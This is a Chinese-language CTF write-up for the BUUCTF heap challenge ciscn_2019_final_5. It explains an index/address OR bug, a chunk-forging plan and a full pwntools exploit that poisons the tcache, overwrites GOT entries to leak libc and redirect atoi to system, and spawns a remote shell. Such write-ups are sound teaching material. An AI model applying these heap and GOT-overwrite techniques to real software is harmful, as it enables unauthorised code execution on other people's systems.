buuctf刷题记录——ciscn_2019_final_5

ida查看,常见的堆题格式

1.add函数

avatar

2.dele函数

avatar

3.edit函数

avatar

漏洞分析

如上所说,本题地址存放比较特别,但是如果index为16,并且原地址第五位为0,就会导致地址被修改
而我们第一次申请时候地址最低12bits一般为0x260,即0010 0110 0000,和16即0001 0000或,就变成了0010 0111 0000即为0x270,我们就可以在chunk0的content中伪造一个chunk头部,把它释放之后再申请我们就能利用它控制下一个chunk了

思路

1.添加一个note[0],编号为16,size为0x10,内容为p64(0)+p64(0x31),再添加一个note[1],编号为1,size为0xc0(这个大小正好可以包括住content和size数组)

2.释放note[0]和note[1],重新申请一个0x20大小的note[2],把note[1]头部size改为0x21,fd改为content数组0x6020e0

3.申请一个0xc0大小的note[3],再申请同样大小的note[4],填入free_got, puts_got+1和atoi_got,大小全部设为0x10

4.先把free_got改为puts@plt,然后dele(1)泄露puts地址再dele(8)(因为free_got&0xf=atoi_got&0xf=8)

5.edit 8把system地址写入,然后发送/bin/sh\x00即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import*
from LibcSearcher import*
context.log_level='debug'
#r=process('./ciscn_final_5')
r=remote('node4.buuoj.cn',29179)
elf=ELF('./ciscn_final_5')
libc=ELF('./libc.so.6')
#libc=ELF('./2.27/libc.so.6')
def add(index, size, content):
r.recvuntil("your choice: ")
r.sendline('1')
r.recvuntil("index: ")
r.sendline(str(index))
r.recvuntil("size: ")
r.sendline(str(size))
r.recvuntil("content: ")
r.send(content)

def dele(index):
r.recvuntil("your choice: ")
r.sendline('2')
r.recvuntil("index: ")
r.sendline(str(index))


def edit(index, content):
r.recvuntil("your choice: ")
r.sendline('3')
r.recvuntil("index: ")
r.sendline(str(index))
r.recvuntil("content: ")
r.send(content)
content = 0x6020e0
free_got=0x602018
puts_plt=0x400790
puts_got=0x602020
atoi_got=0x602078
add(16,0x10,p64(0)+p64(0x31))
add(1, 0xc0, 'aa\n')
dele(0)
dele(1)
add(2, 0x20, p64(0)+p64(0x21)+p64(content))

add(3, 0xc0, 'aaa\n')
add(4, 0xc0, p64(free_got)+p64(puts_got+1)+p64(atoi_got)+p64(0)*17+p32(0x10)*8)
edit(8,p64(puts_plt)*2)
dele(1)

puts = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
success("puts:"+hex(puts))
dele(8)

libc_base = puts - libc.symbols['puts']
success("base:"+hex(libc_base))
system = libc_base + libc.sym['system']
edit(8, p64(system)*2)

r.recvuntil("your choice: ")
r.sendline('/bin/sh\x00')

#gdb.attach(r)

r.interactive()